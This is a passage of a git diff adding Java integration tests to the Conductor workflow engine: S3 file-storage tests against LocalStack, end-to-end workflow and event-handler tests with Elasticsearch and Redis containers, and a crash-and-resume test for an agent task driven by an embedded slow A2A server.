    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URI; + +import org.conductoross.conductor.model.file.FileDownloadUrlResponse; +import org.conductoross.conductor.model.file.FileIdToFileHandleIdConverter; +import org.conductoross.conductor.model.file.FileUploadCompleteResponse; +import org.conductoross.conductor.model.file.FileUploadResponse; +import org.conductoross.conductor.model.file.FileUploadStatus; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Tag; +import org.junit.jupiter.api.Test; +import org.springframework.context.annotation.Import; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.localstack.LocalStackContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.test.config.LocalStackS3FileStorageConfiguration; + +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.s3.S3Client; +import software.amazon.awssdk.services.s3.model.CreateBucketRequest; + +import static org.junit.jupiter.api.Assertions.assertArrayEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@Tag("file-storage-integration") +@TestPropertySource( + properties = { + "conductor.file-storage.enabled=true", + "conductor.file-storage.type=s3", + "conductor.file-storage.s3.bucket-name=" + S3FileStorageIntegrationTest.BUCKET, + "conductor.file-storage.s3.region=us-east-1" + }) +@Import(LocalStackS3FileStorageConfiguration.class) +class S3FileStorageIntegrationTest extends AbstractFileStorageIntegrationTest { + + static final String BUCKET = "conductor-file-storage-test"; + + @SuppressWarnings("resource") + private static final LocalStackContainer LOCALSTACK = + new LocalStackContainer(DockerImageName.parse("localstack/localstack:3.0")) + .withServices(LocalStackContainer.Service.S3); + + static { + LOCALSTACK.start(); + String endpoint = LOCALSTACK.getEndpointOverride(LocalStackContainer.Service.S3).toString(); + LocalStackS3FileStorageConfiguration.setLocalStackEndpoint(endpoint); + } + + @BeforeAll + static void createBucket() { + try (S3Client client = + S3Client.builder() + .endpointOverride( + LOCALSTACK.getEndpointOverride(LocalStackContainer.Service.S3)) + .region(Region.US_EAST_1) + .credentialsProvider( + StaticCredentialsProvider.create( + AwsBasicCredentials.create( + LOCALSTACK.getAccessKey(), + LOCALSTACK.getSecretKey()))) + .forcePathStyle(true) + .build()) { + client.createBucket(CreateBucketRequest.builder().bucket(BUCKET).build()); + } + } + + @Test + void createFileReturnsUploadingHandle() { + FileUploadResponse response = + fileStorageService.createFile(newRequest("report.pdf", "application/pdf")); + + assertNotNull(response.getFileHandleId()); + assertEquals(FileUploadStatus.UPLOADING, response.getUploadStatus()); + assertNotNull(response.getUploadUrl()); + } + + @Test + void getMetadataForUnknownFileThrowsNotFoundException() { + assertThrows( + NotFoundException.class, () -> fileStorageService.getFileMetadata("nonexistent")); + } + + @Test + void downloadUrlRequiresUploadedStatus() { + FileUploadResponse created = + fileStorageService.createFile( + newRequest("pending.bin", "application/octet-stream")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + assertThrows( + IllegalArgumentException.class, + () -> fileStorageService.getDownloadUrl(fileId, "wf-test")); + } + + @Test + void fullLifecyclePutSignedConfirmGet() throws Exception { + byte[] payload = "hello S3".getBytes(); + FileUploadResponse created = + fileStorageService.createFile(newRequest("test.txt", "text/plain")); + String fileId = FileIdToFileHandleIdConverter.toFileId(created.getFileHandleId()); + + putToPresignedUrl(created.getUploadUrl(), payload); + + FileUploadCompleteResponse confirmed = fileStorageService.confirmUpload(fileId); + FileDownloadUrlResponse download = fileStorageService.getDownloadUrl(fileId, "wf-test"); + byte[] fetched = getFromPresignedUrl(download.getDownloadUrl()); + + assertEquals(FileUploadStatus.UPLOADED, confirmed.getUploadStatus()); + assertArrayEquals(payload, fetched); + } + + private static void putToPresignedUrl(String url, byte[] body) throws IOException { + HttpURLConnection conn = (HttpURLConnection) URI.create(url).toURL().openConnection(); + conn.setRequestMethod("PUT"); + conn.setDoOutput(true); + try (OutputStream out = conn.getOutputStream()) { + out.write(body); + } + assertTrue(conn.getResponseCode() >= 200 && conn.getResponseCode() < 300); + conn.disconnect(); + } + + private static byte[] getFromPresignedUrl(String url) throws IOException { + HttpURLConnection conn = (HttpURLConnection) URI.create(url).toURL().openConnection(); + conn.setRequestMethod("GET"); + try (InputStream in = conn.getInputStream()) { + assertTrue(conn.getResponseCode() >= 200 && conn.getResponseCode() < 300); + return in.readAllBytes(); + } finally { + conn.disconnect(); + } + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/TestHarnessAbstractEndToEndTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/TestHarnessAbstractEndToEndTest.java new file mode 100644 index 0000000..9e99703 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/TestHarnessAbstractEndToEndTest.java @@ -0,0 +1,308 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.io.Reader; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Optional; + +import org.apache.http.HttpHost; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.junit.AfterClass; +import org.junit.BeforeClass; +import org.junit.Test; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.elasticsearch.ElasticsearchContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; + +@TestPropertySource( + properties = { + "conductor.indexing.enabled=true", + "conductor.indexing.type=elasticsearch", + "conductor.elasticsearch.version=7", + "conductor.queue.type=redis_standalone", + "conductor.db.type=redis_standalone", + "conductor.app.ownerEmailMandatory=true" + }) +public abstract class TestHarnessAbstractEndToEndTest { + + private static final Logger log = + LoggerFactory.getLogger(TestHarnessAbstractEndToEndTest.class); + + private static final String TASK_DEFINITION_PREFIX = "task_"; + private static final String DEFAULT_DESCRIPTION = "description"; + // Represents null value deserialized from the redis in memory db + private static final String DEFAULT_NULL_VALUE = "null"; + protected static final String DEFAULT_EMAIL_ADDRESS = "test@harness.com"; + + private static final ElasticsearchContainer container = + new ElasticsearchContainer( + DockerImageName.parse("elasticsearch") + .withTag("7.17.11")) // this should match the client version + .withExposedPorts(9200, 9300) + .withEnv("xpack.security.enabled", "false") + .withEnv("discovery.type", "single-node"); + + private static GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379); + private static RestClient restClient; + + // Initialization happens in a static block so the container is initialized + // only once for all the sub-class tests in a CI environment + // container is stopped when JVM exits + // https://www.testcontainers.org/test_framework_integration/manual_lifecycle_control/#singleton-containers + static { + } + + @BeforeClass + public static void initializeEs() { + container.start(); + redis.start(); + String httpHostAddress = container.getHttpHostAddress(); + System.setProperty("conductor.elasticsearch.url", "http://" + httpHostAddress); + System.setProperty( + "conductor.redis.hosts", "localhost:" + redis.getFirstMappedPort() + ":us-east-1c"); + System.setProperty( + "conductor.redis-lock.serverAddress", + String.format("redis://localhost:%s", redis.getFirstMappedPort())); + log.info("Initialized Elasticsearch {}", container.getContainerId()); + + String host = httpHostAddress.split(":")[0]; + int port = Integer.parseInt(httpHostAddress.split(":")[1]); + + RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(host, port, "http")); + restClient = restClientBuilder.build(); + } + + @AfterClass + public static void cleanupEs() throws Exception { + // deletes all indices + Response beforeResponse = restClient.performRequest(new Request("GET", "/_cat/indices")); + Reader streamReader = new InputStreamReader(beforeResponse.getEntity().getContent()); + BufferedReader bufferedReader = new BufferedReader(streamReader); + + String line; + while ((line = bufferedReader.readLine()) != null) { + String[] fields = line.split("\\s"); + String endpoint = String.format("/%s", fields[2]); + + restClient.performRequest(new Request("DELETE", endpoint)); + } + + if (restClient != null) { + restClient.close(); + } + redis.stop(); + container.stop(); + } + + @Test + public void testEphemeralWorkflowsWithStoredTasks() { + String workflowExecutionName = "testEphemeralWorkflow"; + + createAndRegisterTaskDefinitions("storedTaskDef", 5); + WorkflowDef workflowDefinition = createWorkflowDefinition(workflowExecutionName); + WorkflowTask workflowTask1 = createWorkflowTask("storedTaskDef1"); + WorkflowTask workflowTask2 = createWorkflowTask("storedTaskDef2"); + workflowDefinition.getTasks().addAll(Arrays.asList(workflowTask1, workflowTask2)); + + String workflowId = startWorkflow(workflowExecutionName, workflowDefinition); + assertNotNull(workflowId); + + Workflow workflow = getWorkflow(workflowId, true); + WorkflowDef ephemeralWorkflow = workflow.getWorkflowDefinition(); + assertNotNull(ephemeralWorkflow); + assertEquals(workflowDefinition, ephemeralWorkflow); + } + + @Test + public void testEphemeralWorkflowsWithEphemeralTasks() { + String workflowExecutionName = "ephemeralWorkflowWithEphemeralTasks"; + + WorkflowDef workflowDefinition = createWorkflowDefinition(workflowExecutionName); + WorkflowTask workflowTask1 = createWorkflowTask("ephemeralTask1"); + TaskDef taskDefinition1 = createTaskDefinition("ephemeralTaskDef1"); + workflowTask1.setTaskDefinition(taskDefinition1); + WorkflowTask workflowTask2 = createWorkflowTask("ephemeralTask2"); + TaskDef taskDefinition2 = createTaskDefinition("ephemeralTaskDef2"); + workflowTask2.setTaskDefinition(taskDefinition2); + workflowDefinition.getTasks().addAll(Arrays.asList(workflowTask1, workflowTask2)); + + String workflowId = startWorkflow(workflowExecutionName, workflowDefinition); + + assertNotNull(workflowId); + + Workflow workflow = getWorkflow(workflowId, true); + WorkflowDef ephemeralWorkflow = workflow.getWorkflowDefinition(); + assertNotNull(ephemeralWorkflow); + assertEquals(workflowDefinition, ephemeralWorkflow); + + List ephemeralTasks = ephemeralWorkflow.getTasks(); + assertEquals(2, ephemeralTasks.size()); + for (WorkflowTask ephemeralTask : ephemeralTasks) { + assertNotNull(ephemeralTask.getTaskDefinition()); + } + } + + @Test + public void testEphemeralWorkflowsWithEphemeralAndStoredTasks() { + createAndRegisterTaskDefinitions("storedTask", 1); + + WorkflowDef workflowDefinition = + createWorkflowDefinition("testEphemeralWorkflowsWithEphemeralAndStoredTasks"); + + WorkflowTask workflowTask1 = createWorkflowTask("ephemeralTask1"); + TaskDef taskDefinition1 = createTaskDefinition("ephemeralTaskDef1"); + workflowTask1.setTaskDefinition(taskDefinition1); + + WorkflowTask workflowTask2 = createWorkflowTask("storedTask0"); + + workflowDefinition.getTasks().add(workflowTask1); + workflowDefinition.getTasks().add(workflowTask2); + + String workflowExecutionName = "ephemeralWorkflowWithEphemeralAndStoredTasks"; + + String workflowId = startWorkflow(workflowExecutionName, workflowDefinition); + assertNotNull(workflowId); + + Workflow workflow = getWorkflow(workflowId, true); + WorkflowDef ephemeralWorkflow = workflow.getWorkflowDefinition(); + assertNotNull(ephemeralWorkflow); + assertEquals(workflowDefinition, ephemeralWorkflow); + + TaskDef storedTaskDefinition = getTaskDefinition("storedTask0"); + List tasks = ephemeralWorkflow.getTasks(); + assertEquals(2, tasks.size()); + assertEquals(workflowTask1, tasks.get(0)); + TaskDef currentStoredTaskDefinition = tasks.get(1).getTaskDefinition(); + assertNotNull(currentStoredTaskDefinition); + assertEquals(storedTaskDefinition, currentStoredTaskDefinition); + } + + @Test + public void testEventHandler() { + String eventName = "conductor:test_workflow:complete_task_with_event"; + EventHandler eventHandler = new EventHandler(); + eventHandler.setName("test_complete_task_event"); + EventHandler.Action completeTaskAction = new EventHandler.Action(); + completeTaskAction.setAction(EventHandler.Action.Type.complete_task); + completeTaskAction.setComplete_task(new EventHandler.TaskDetails()); + completeTaskAction.getComplete_task().setTaskRefName("test_task"); + completeTaskAction.getComplete_task().setWorkflowId("test_id"); + completeTaskAction.getComplete_task().setOutput(new HashMap<>()); + eventHandler.getActions().add(completeTaskAction); + eventHandler.setEvent(eventName); + eventHandler.setActive(true); + registerEventHandler(eventHandler); + + Iterator it = getEventHandlers(eventName, true); + EventHandler result = it.next(); + assertFalse(it.hasNext()); + assertEquals(eventHandler.getName(), result.getName()); + } + + protected WorkflowTask createWorkflowTask(String name) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName(name); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName(name); + workflowTask.setDescription(getDefaultDescription(name)); + workflowTask.setDynamicTaskNameParam(DEFAULT_NULL_VALUE); + workflowTask.setCaseValueParam(DEFAULT_NULL_VALUE); + workflowTask.setCaseExpression(DEFAULT_NULL_VALUE); + workflowTask.setDynamicForkTasksParam(DEFAULT_NULL_VALUE); + workflowTask.setDynamicForkTasksInputParamName(DEFAULT_NULL_VALUE); + workflowTask.setSink(DEFAULT_NULL_VALUE); + workflowTask.setEvaluatorType(DEFAULT_NULL_VALUE); + workflowTask.setExpression(DEFAULT_NULL_VALUE); + return workflowTask; + } + + protected TaskDef createTaskDefinition(String name) { + TaskDef taskDefinition = new TaskDef(); + taskDefinition.setName(name); + return taskDefinition; + } + + protected WorkflowDef createWorkflowDefinition(String workflowName) { + WorkflowDef workflowDefinition = new WorkflowDef(); + workflowDefinition.setName(workflowName); + workflowDefinition.setDescription(getDefaultDescription(workflowName)); + workflowDefinition.setFailureWorkflow(DEFAULT_NULL_VALUE); + workflowDefinition.setOwnerEmail(DEFAULT_EMAIL_ADDRESS); + return workflowDefinition; + } + + protected List createAndRegisterTaskDefinitions( + String prefixTaskDefinition, int numberOfTaskDefinitions) { + String prefix = Optional.ofNullable(prefixTaskDefinition).orElse(TASK_DEFINITION_PREFIX); + List definitions = new LinkedList<>(); + for (int i = 0; i < numberOfTaskDefinitions; i++) { + TaskDef def = + new TaskDef( + prefix + i, + "task " + i + DEFAULT_DESCRIPTION, + DEFAULT_EMAIL_ADDRESS, + 3, + 60, + 60); + def.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY); + definitions.add(def); + } + this.registerTaskDefinitions(definitions); + return definitions; + } + + private String getDefaultDescription(String nameResource) { + return nameResource + " " + DEFAULT_DESCRIPTION; + } + + protected abstract String startWorkflow( + String workflowExecutionName, WorkflowDef workflowDefinition); + + protected abstract Workflow getWorkflow(String workflowId, boolean includeTasks); + + protected abstract TaskDef getTaskDefinition(String taskName); + + protected abstract void registerTaskDefinitions(List taskDefinitionList); + + protected abstract void registerWorkflowDefinition(WorkflowDef workflowDefinition); + + protected abstract void registerEventHandler(EventHandler eventHandler); + + protected abstract Iterator getEventHandlers(String event, boolean activeOnly); +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/a2a/A2ADurableEngineEndToEndTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/a2a/A2ADurableEngineEndToEndTest.java new file mode 100644 index 0000000..29367b9 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/a2a/A2ADurableEngineEndToEndTest.java @@ -0,0 +1,414 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.a2a; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +import org.awaitility.Awaitility; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.DynamicPropertyRegistry; +import org.springframework.test.context.DynamicPropertySource; +import org.springframework.test.context.TestPropertySource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.ConductorTestApp; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.ExecutionService; +import com.netflix.conductor.service.MetadataService; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.sun.net.httpserver.HttpServer; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * The durability money-shot, through the real engine: a {@code AGENT} task is driven by the + * genuine decider + {@link AsyncSystemTaskExecutor} + Redis-backed persistence (not a mocked + * engine), against a slow A2A agent, and proves crash/restart resume. + * + *

    "Durable A2A" claim under test: while the remote agent is still {@code working}, all of the + * in-flight call state (the remote {@code taskId}, the deadline anchor) lives in the persisted task + * output — not in a worker thread. So a process that lost all memory can reload the task + * from the DAO and keep polling to completion. We model the crash by capturing only the workflow id + * and resuming purely from {@code ExecutionService.getExecutionStatus} + {@code + * AsyncSystemTaskExecutor.execute} (which reloads each {@code TaskModel} from the DAO every cycle). + * The embedded agent stands in for the external agent, which does not crash when Conductor + * does — it keeps serving and eventually flips to {@code completed}. + * + *

    System-task workers are disabled in test mode, so we drain the {@code AGENT} queue and execute + * via {@link AsyncSystemTaskExecutor} — the same path {@code SystemTaskWorkerCoordinator} takes in + * production. + */ +@SpringBootTest(classes = ConductorTestApp.class) +@TestPropertySource( + locations = "classpath:application-integrationtest.properties", + properties = { + "conductor.db.type=redis_standalone", + "conductor.queue.type=redis_standalone", + "conductor.app.sweeperThreadCount=1", + "conductor.app.sweeper.sweepBatchSize=1", + "conductor.app.sweeper.queuePopTimeout=750", + "conductor.integrations.ai.enabled=true", + // The embedded agent runs on loopback; let the engine's A2A client reach it. + "conductor.a2a.client.allow-private-network=true" + }) +class A2ADurableEngineEndToEndTest { + + @SuppressWarnings("resource") + private static final GenericContainer REDIS = + new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379); + + static { + REDIS.start(); + } + + @DynamicPropertySource + static void properties(DynamicPropertyRegistry registry) { + registry.add("conductor.redis.availability-zone", () -> "us-east-1c"); + registry.add("conductor.redis.data-center-region", () -> "us-east-1"); + registry.add("conductor.redis.workflow-namespace-prefix", () -> "a2a-e2e"); + registry.add("conductor.redis.queue-namespace-prefix", () -> "a2a-e2e"); + registry.add( + "conductor.redis.hosts", + () -> "localhost:" + REDIS.getFirstMappedPort() + ":us-east-1c"); + registry.add( + "conductor.redis-lock.serverAddress", + () -> "redis://localhost:" + REDIS.getFirstMappedPort()); + } + + @Autowired private MetadataService metadataService; + @Autowired private WorkflowExecutor workflowExecutor; + @Autowired private ExecutionService executionService; + @Autowired private QueueDAO queueDAO; + @Autowired private AsyncSystemTaskExecutor asyncSystemTaskExecutor; + + @Autowired + @Qualifier(SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER) + private java.util.Set asyncSystemTasks; + + private SlowA2AAgent agent; + + @BeforeEach + void startAgent() throws IOException { + agent = SlowA2AAgent.start(2); // completes on the 2nd tasks/get poll + } + + @AfterEach + void stopAgent() { + if (agent != null) { + agent.stop(); + } + } + + @Test + void callAgentSurvivesCrashAndResumesFromPersistence() { + String wfName = "a2a_durable_e2e_" + UUID.randomUUID(); + registerCallAgentWorkflow(wfName, agent.url()); + String workflowId = startWorkflow(wfName); + + // ── Phase 1: drive until message/send is done and we're polling the working agent. ── + Awaitility.await() + .atMost(30, TimeUnit.SECONDS) + .pollInterval(250, TimeUnit.MILLISECONDS) + .until( + () -> { + drainAgentTasks(); + Task t = callAgentTask(workflowId); + return t != null + && t.getStatus() == Task.Status.IN_PROGRESS + && t.getOutputData().get("taskId") != null; + }); + + // ── Crash boundary: keep ONLY the workflow id; everything else is "lost". ── + // Read in-flight state fresh from the DAO — this is all a restarted process would have. + Task inflight = callAgentTask(workflowId); + String remoteTaskId = (String) inflight.getOutputData().get("taskId"); + assertNotNull(remoteTaskId, "remote A2A taskId must be persisted to resume after a crash"); + assertNotNull( + inflight.getOutputData().get("a2aStartedAt"), + "deadline anchor must be persisted so the resumed poll loop keeps its bound"); + + // ── Phase 2 ("after restart"): resume purely from persistence and finish. ── + Workflow completed = awaitTerminal(workflowId); + + assertEquals(Workflow.WorkflowStatus.COMPLETED, completed.getStatus()); + Task done = callAgentTask(completed); + assertEquals("completed", done.getOutputData().get("state")); + assertEquals( + remoteTaskId, + done.getOutputData().get("taskId"), + "the SAME remote task was resumed — no new message/send, no duplicate work"); + assertTrue( + String.valueOf(done.getOutputData().get("text")).contains("durable"), + "the agent's artifact text should reach AGENT output: " + + done.getOutputData().get("text")); + // Exactly one message/send — the crash/resume did not re-send (idempotent at-least-once). + assertEquals( + 1, agent.sendCount(), "message/send must happen exactly once across the resume"); + } + + // ── engine helpers ───────────────────────────────────────────────────── + + private Workflow awaitTerminal(String workflowId) { + AtomicReference latest = new AtomicReference<>(); + Awaitility.await() + .atMost(60, TimeUnit.SECONDS) + .pollInterval(250, TimeUnit.MILLISECONDS) + .until( + () -> { + drainAgentTasks(); + Workflow wf = executionService.getExecutionStatus(workflowId, true); + latest.set(wf); + return wf != null + && wf.getStatus() != null + && wf.getStatus().isTerminal(); + }); + return latest.get(); + } + + private void drainAgentTasks() { + WorkflowSystemTask callAgent = + asyncSystemTasks.stream() + .filter(t -> "AGENT".equals(t.getTaskType())) + .findFirst() + .orElseThrow( + () -> + new IllegalStateException( + "AGENT WorkflowSystemTask was not registered —" + + " conductor.integrations.ai.enabled must be" + + " true and the ai module on the classpath.")); + for (String taskId : queueDAO.pop("AGENT", 5, 100)) { + asyncSystemTaskExecutor.execute(callAgent, taskId); + } + } + + private Task callAgentTask(String workflowId) { + return callAgentTask(executionService.getExecutionStatus(workflowId, true)); + } + + private Task callAgentTask(Workflow workflow) { + if (workflow == null || workflow.getTasks() == null) { + return null; + } + return workflow.getTasks().stream() + .filter(t -> "AGENT".equals(t.getTaskType())) + .findFirst() + .orElse(null); + } + + private String startWorkflow(String name) { + StartWorkflowInput swi = new StartWorkflowInput(); + swi.setName(name); + swi.setVersion(1); + swi.setWorkflowInput(new java.util.HashMap<>()); + return workflowExecutor.startWorkflow(swi); + } + + private void registerCallAgentWorkflow(String name, String agentUrl) { + TaskDef td = new TaskDef(); + td.setName("AGENT"); + td.setRetryCount(0); + td.setTimeoutSeconds(120); + try { + metadataService.registerTaskDef(List.of(td)); + } catch (Exception ignored) { + // already registered by a prior test + } + + WorkflowTask task = new WorkflowTask(); + task.setName("AGENT"); + task.setTaskReferenceName("callAgent"); + task.setType("AGENT"); + Map taskInput = new java.util.HashMap<>(); + taskInput.put("agentUrl", agentUrl); + taskInput.put("text", "process this durably"); + taskInput.put("pollIntervalSeconds", 1); + task.setInputParameters(taskInput); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("a2a-e2e@conductor.test"); + def.setTasks(List.of(task)); + metadataService.updateWorkflowDef(List.of(def)); + } + + /** + * A self-contained, dependency-free A2A agent (JDK {@link HttpServer}) that is deliberately + * slow: {@code message/send} returns a {@code working} task, and {@code tasks/get} stays {@code + * working} until the configured number of polls, then returns {@code completed} with an + * artifact. Stands in for an external agent that keeps running across a Conductor crash. + */ + private static final class SlowA2AAgent { + private static final ObjectMapper MAPPER = new ObjectMapper(); + + private final HttpServer server; + private final int port; + private final int completeAfterPolls; + private final Map pollCounts = new ConcurrentHashMap<>(); + private final java.util.concurrent.atomic.AtomicInteger sends = + new java.util.concurrent.atomic.AtomicInteger(); + + private SlowA2AAgent(HttpServer server, int port, int completeAfterPolls) { + this.server = server; + this.port = port; + this.completeAfterPolls = completeAfterPolls; + } + + static SlowA2AAgent start(int completeAfterPolls) throws IOException { + HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + SlowA2AAgent agent = + new SlowA2AAgent(server, server.getAddress().getPort(), completeAfterPolls); + server.createContext("/", agent::handle); + server.start(); + return agent; + } + + String url() { + return "http://localhost:" + port + "/"; + } + + int sendCount() { + return sends.get(); + } + + void stop() { + server.stop(0); + } + + private void handle(com.sun.net.httpserver.HttpExchange exchange) throws IOException { + try { + String path = exchange.getRequestURI().getPath(); + if ("GET".equals(exchange.getRequestMethod()) && path.contains("agent")) { + write(exchange, MAPPER.writeValueAsBytes(agentCard())); + return; + } + Map request = + MAPPER.readValue(exchange.getRequestBody().readAllBytes(), Map.class); + Object id = request.get("id"); + String method = String.valueOf(request.get("method")); + Map params = (Map) request.get("params"); + + Object result; + if ("message/send".equals(method)) { + sends.incrementAndGet(); + String taskId = "agent-task-" + sends.get(); + pollCounts.put(taskId, 0); + result = task(taskId, "working", null); + } else if ("tasks/get".equals(method)) { + String taskId = String.valueOf(params.get("id")); + int polls = pollCounts.merge(taskId, 1, Integer::sum); + result = + polls >= completeAfterPolls + ? task( + taskId, + "completed", + "durable echo: process this durably") + : task(taskId, "working", null); + } else { + write(exchange, error(id, "method not found: " + method)); + return; + } + write(exchange, MAPPER.writeValueAsBytes(rpcResult(id, result))); + } catch (Exception e) { + byte[] body = + ("{\"error\":\"" + e.getMessage() + "\"}").getBytes(StandardCharsets.UTF_8); + exchange.sendResponseHeaders(500, body.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(body); + } + } + } + + private static Map rpcResult(Object id, Object result) { + return Map.of("jsonrpc", "2.0", "id", id == null ? 1 : id, "result", result); + } + + private byte[] error(Object id, String message) throws IOException { + return MAPPER.writeValueAsBytes( + Map.of( + "jsonrpc", + "2.0", + "id", + id == null ? 1 : id, + "error", + Map.of("code", -32601, "message", message))); + } + + private static Map task(String taskId, String state, String artifactText) { + java.util.Map task = new java.util.HashMap<>(); + task.put("kind", "task"); + task.put("id", taskId); + task.put("contextId", "ctx-" + taskId); + task.put("status", Map.of("state", state)); + if (artifactText != null) { + task.put( + "artifacts", + List.of( + Map.of( + "artifactId", + "a1", + "parts", + List.of(Map.of("kind", "text", "text", artifactText))))); + } + return task; + } + + private static Map agentCard() { + return Map.of( + "name", "Slow Durable Agent", + "description", "Emits a working task that completes after a few polls", + "url", "http://localhost/", + "version", "1.0.0", + "capabilities", Map.of("streaming", false), + "skills", List.of(Map.of("id", "echo", "name", "Echo"))); + } + + private void write(com.sun.net.httpserver.HttpExchange exchange, byte[] body) + throws IOException { + exchange.getResponseHeaders().add("Content-Type", "application/json"); + exchange.sendResponseHeaders(200, body.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(body); + } + } + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/ai/AIReasoningEndToEndTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/ai/AIReasoningEndToEndTest.java new file mode 100644 index 0000000..8348919 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/ai/AIReasoningEndToEndTest.java @@ -0,0 +1,534 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

